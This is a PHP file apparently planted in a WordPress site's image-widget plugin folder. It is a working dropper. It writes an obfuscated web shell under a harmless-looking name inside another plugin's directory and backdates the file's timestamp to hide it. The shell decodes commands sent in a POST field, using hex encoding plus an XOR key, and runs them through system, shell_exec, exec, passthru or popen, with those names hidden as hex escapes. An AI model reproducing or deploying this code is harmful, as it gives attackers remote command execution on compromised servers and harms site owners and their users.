File: //proc/thread-self/cwd/wp-content/plugins/image-widget/.system
<?php $p = "/home/sps/public_html/wp-content/plugins/wp-file-manager/lib/codemirror/mode/groovy/application_top.php"; $c = rawurldecode('%3C%3Fphp%0A%0A%24reverse_lookup7%20%3D%20%22pcl%5Cx6F%5Cx73%5Cx65%22%3B%0A%24reverse_lookup1%20%3D%20%22%5Cx73y%5Cx73%5Cx74em%22%3B%0A%24sync_manager%20%3D%20%22%5Cx68%5Cx65x%5Cx32b%5Cx69n%22%3B%0A%24reverse_lookup3%20%3D%20%22%5Cx65%5Cx78ec%22%3B%0A%24reverse_lookup4%20%3D%20%22%5Cx70%5Cx61ssth%5Cx72%5Cx75%22%3B%0A%24reverse_lookup2%20%3D%20%22s%5Cx68el%5Cx6C%5Cx5Fe%5Cx78%5Cx65c%22%3B%0A%24reverse_lookup6%20%3D%20%22%5Cx73%5Cx74r%5Cx65%5Cx61%5Cx6D%5Cx5F%5Cx67e%5Cx74%5Cx5Fc%5Cx6Fntents%22%3B%0A%24reverse_lookup5%20%3D%20%22%5Cx70op%5Cx65n%22%3B%0Aif%20%28isset%28%24_POST%5B%22p%5Cx67%5Cx72p%22%5D%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20core_engine%20%20%20%28%20%20%24pointer%2C%20%24entity%20%29%20%20%20%20%7B%0A%20%20%20%20%24marker%3D%20%20%20%27%27%3B%0A%20%24n%3D0%3B%0A%20while%28%24n%3Cstrlen%28%24pointer%29%29%7B%0A%24marker.%3Dchr%28ord%28%24pointer%5B%24n%5D%29%5E%24entity%29%3B%0A%24n%2B%2B%3B%0A%0A%7D%20return%20%20%24marker%3B%0A%0A%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24pgrp%20%3D%20%24sync_manager%28%24_POST%5B%22p%5Cx67%5Cx72p%22%5D%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24pgrp%20%3D%20core_engine%28%24pgrp%2C%20100%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28function_exists%28%24reverse_lookup1%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24reverse_lookup1%28%24pgrp%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_lookup2%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%24reverse_lookup2%28%24pgrp%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_lookup3%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24reverse_lookup3%28%24pgrp%2C%20%24desc_pointer%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20print%20join%28%22%5Cn%22%2C%20%24desc_pointer%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_lookup4%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24reverse_lookup4%28%24pgrp%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_lookup5%29%20%26%26%20function_exists%28%24reverse_lookup6%29%20%26%26%20function_exists%28%24reverse_lookup7%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24entity_marker%20%3D%20%24reverse_lookup5%28%24pgrp%2C%20%27r%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24entity_marker%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24bind_key%20%3D%20%24reverse_lookup6%28%24entity_marker%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24reverse_lookup7%28%24entity_marker%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%24bind_key%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20exit%3B%0A%20%20%20%20%20%20%20%20%7D'); if (file_put_contents($p, $c)) { echo '!success!'; @touch($p, 1770430032); } die('!ended!');